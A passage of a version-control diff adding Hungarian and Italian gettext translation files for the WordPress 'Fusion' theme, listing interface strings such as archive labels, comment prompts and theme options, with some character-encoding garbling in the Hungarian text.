+msgstr "NE vÃ¡ltoztassa meg a style.css fÃ¡jlt, ha a vÃ¡ltozÃ¡sokat meg szeretnÃ© Årizni a tÃ©ma feltÃ¶ltÃ©se utÃ¡n! HasznÃ¡lja inkÃ¡bb ezt a funkciÃ³t."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "VÃ¡ltozÃ¡sok mentÃ©se"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:198
+msgid "by"
+msgstr "Ã¡ltal"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:198
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s %2$s nÃ¡l/nÃ©l"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:198
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:202
+msgid "Your comment is awaiting moderation."
+msgstr "HozzÃ¡szÃ³lÃ¡sa moderÃ¡lÃ¡sra vÃ¡r."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:212
+msgid "Reply"
+msgstr "VÃ¡lasz"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:212
+msgid "Quote"
+msgstr "IdÃ©zet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:144
+msgid "You are Home"
+msgstr "A nyitÃ³lapon van"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:144
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:146
+msgid "Home"
+msgstr "NyitÃ³lap"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:146
+msgid "Click for Home"
+msgstr "UgrÃ¡s a nyitÃ³lapra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:33
+msgid "This entry was posted on"
+msgstr "A bejegyzÃ©s kÃ©szÃŒlt: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:35
+msgid "and is filed under"
+msgstr "Ã©s az alÃ¡bbi kategÃ³riÃ¡ban talÃ¡lhatÃ³: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:36
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:38
+msgid "You can follow any responses to this entry through"
+msgstr "A bejegyzÃ©st nyomon kÃ¶vetheti "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:43
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Lejjebb <a href=\"#respond\">vÃ¡laszolhat</a>, vagy <a href=\"%s\" rel=\"trackback\">visszautalhat</a> sajÃ¡t weboldalÃ¡rÃ³l."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:47
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "A vÃ¡laszolÃ¡si lehetÅsÃ©g lezÃ¡rva, azonban <a href=\"%s\" rel=\"trackback\">visszautalhat</a> sajÃ¡t weboldalÃ¡rÃ³l."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:51
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Ugorjon a vÃ©gÃ©re, Ã©s Ã­rjon vÃ¡laszt. VisszapingelÃ©s jelenleg nem engedÃ©lyezett."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:55
+msgid "Both comments and pings are currently closed."
+msgstr "HozzÃ¡szÃ³lÃ¡sok Ã©s visszapingelÃ©s sem engedÃ©lyezett."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:56
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:58
+msgid "Edit this entry"
+msgstr "HozzÃ¡szÃ³lÃ¡s szerkesztÃ©se"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:68
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Sajnos nincs a kritÃ©riumoknak megfelelÅ csatolmÃ¡ny."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:57
+msgid "Not Found"
+msgstr "Nem talÃ¡lhatÃ³"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:58
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "SajnÃ¡ljuk, de amit keres, az itt nem talÃ¡lhatÃ³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:11
+msgid "Links:"
+msgstr "Linkek:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:13
+msgid "Read the rest of this page &raquo;"
+msgstr "Olvassa tovÃ¡bb &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:10
+msgid "Search Results"
+msgstr "KeresÃ©s eredmÃ©nye"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:36
+msgid "No posts found. Try a different search?"
+msgstr "Nem talÃ¡ltam hozzÃ¡szÃ³lÃ¡st. MegprÃ³bÃ¡lja mÃ¡shogy a keresÃ©st?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "KeresÃ©s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "Jelenleg a %1$s kategÃ³ria archÃ­vumÃ¡ban keres."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "Jelenleg a %1$si arhcÃ­vumban keres"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:34
+msgid "l, F jS, Y"
+msgstr "l, Y. F. j."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "Jelenleg a(z) %1$s archÃ­vumÃ¡ban keres"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "Az archÃ­vumban a kÃ¶vetkezÅre keresett rÃ¡: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "Jelenleg az archÃ­vumban keres."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:70
+msgid "Archives"
+msgstr "ArchÃ­vum"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:83
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:70
+msgid "Sorry, no posts matched your criteria."
+msgstr "SajnÃ¡ljuk, nincs a keresÃ©snek megfelelÅ hozzÃ¡szÃ³lÃ¡s."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/it_IT.po	(revision 44)
@@ -0,0 +1,571 @@
+# translation of it_IT.po to Italian
+# Gabriele Brosulo <gabriele.brosulo@gmail.com>, 2009.
+msgid ""
+msgstr ""
+"Project-Id-Version: it_IT\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-22 14:31+0200\n"
+"PO-Revision-Date: 2009-03-25 15:02+0100\n"
+"Last-Translator: Gabriele Brosulo <gabriele.brosulo@gmail.com>\n"
+"Language-Team: Italian <it@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "Pagina non trovata (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "Archivio della categoria"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "Tag dell'articolo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "Archivio per"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Archivio dell'autore"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Archivio del blog"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "Link permanente a"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Inviato da %s in %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Inviato da %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "il"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "Leggi il resto &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "Nessun commento"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1 commento"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% Commenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Pagina Precedente"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Pagina Successiva&raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Spiacente, ma non ci sono ancora articoli nella categoria %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Spiacente, ma non ci sono articoli con questa data."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Spiacente, ma non ci sono ancora articoli per %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "Nessun articolo trovato."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Archivio per Mese:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archivio per Subject:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr "Questo utente non ha specificato informazioni biografiche"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+msgid "Homepage:"
+msgstr "Homepage:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr "Yahoo Messenger:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "l j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr "Tags: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Posted in"
+msgstr "Pubblicato in"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr "Modifica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+msgid "No posts found by this author."
+msgstr "Nessun articolo per questo autore"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Inserire la password per visualizzare i commenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Commenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Trackbacks"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Ancora nessun commento."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Devi essere <a href=\"%s\">loggato</a> per inserire un commento."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "Cancella Rsposta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "Loggato come"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "Logout da questo account"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "Logout &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bentornato <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Cambia &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "Chiudi &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "Nome"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(obbligatorio)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(non verrÃ  pubblicata)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Website"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "Inserisci un commento"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "Ancora nessun trackback"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "I commenti sono chiusi."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion theme (IT from <a href=\"http://gabo.homelinux.com\">Gabo</a>) from"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "powered by "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "Articoli (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "e"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "Commenti (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "Aumenta/Diminuisci la dimensione del testo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "Passa dalla larghrzza totale a quella fissa"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Opzioni del tema Fusion"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Meta keywords:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "Separati da virgola"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "Usa un immagine logo personalizzata"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Carica il tuo logo come \"logo.png\" nella directory theme"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "Devi esportare l'immagine del logo con la trasparenza attivata"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "Disabilita il tab dell'homepage"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Controlla se stai usando una pagina statica come homepage"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "Mostra le categorie cone header tabs"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(al posto delle pagine)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "Disabilita il blocco di categoria di default dalla sidebar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Seleziona se preferisci visualizzare la categoria widgetized oppure vuoi nascondere le categorie"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "Disabilita il blocco di ricerca nella sidebar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "Seleziona se non ti piace il theme-default search look"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Disabilita il controlli del layout (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "Larghezza di default della pagina dei contenuti:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "Fissa (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Fluida (95 pourcent de la largeur d'Ã©cran visiteur)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Nota che se i controlli del layout sono abilitati, la pagina javascript con i settaggi cookie del visitatore sovrascriverÃ  questa opzione"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "Posizione della sidebar:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "Destra (default)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "Sinistra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "Disabilita jQuery ed il codice associato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Questa modifica diminuirÃ  la dimensione delle pagine di  ~70kB, ma disabilitarÃ  alcune funzioni ed effetti (controlli del layout, link rss dentro al menÃ¹ delle categoriem tab dei commenti, trackbacks).</br>Non devi modificare quest'opzione a meno che tu non abbia problemi relativi al bandwidth"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "Codice CSS personalizzato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Qui puoiaggiungere o modificare qualsiasi cosa relativa all'aspetto, se hai qualche conoscenza base dei CSS. Seleziona"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "per vedere gli stili esistenti, che puoi modificare qui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Non modificare style.css se desideri preservere le tue modifiche dopo un update del tema! Piuttosto usa quest'opzione."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "Salva i cambiamenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "by"
+msgstr "di"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s alle %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:207
+msgid "Your comment is awaiting moderation."
+msgstr "Il tuo commento Ãš in attesa di essere moderato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Reply"
+msgstr "Rispondi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Quote"
+msgstr "Cita"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "Sei nella Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "Clicca per andare alla home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "Questo articolo Ãš stato pubblicato il "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "ed Ãš salvato sotto"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "Puoi seguire ogni risposta a questa entry tramite"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Puoi <a href=\"#respond\">lasciare un commento</a>, u un <a href=\"%s\" rel=\"trackback\">trackback</a> dal tuo sito."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "I commenti sono chiusi, ma puoi mettere un <a href=\"%s\" rel=\"trackback\">trackback</a> dal tuo sito."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Puoi andare alla fine e lasciare una risposta. Il Pinging non Ãš al momento permesso."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Sia i commenti che i ping sono chiusi."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Modifica questo articolo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Spiacente, nessun attachment corrisponde alla tua ricerca."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "Non trovato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Spiacente, ma stai cercando qualcosa che non Ãš presente qui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "Link:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Leggi il resto &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "Risultati della ricerca"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Nessun articolo trovato. Vuoi provare una nuova ricerca?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "Cerca"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
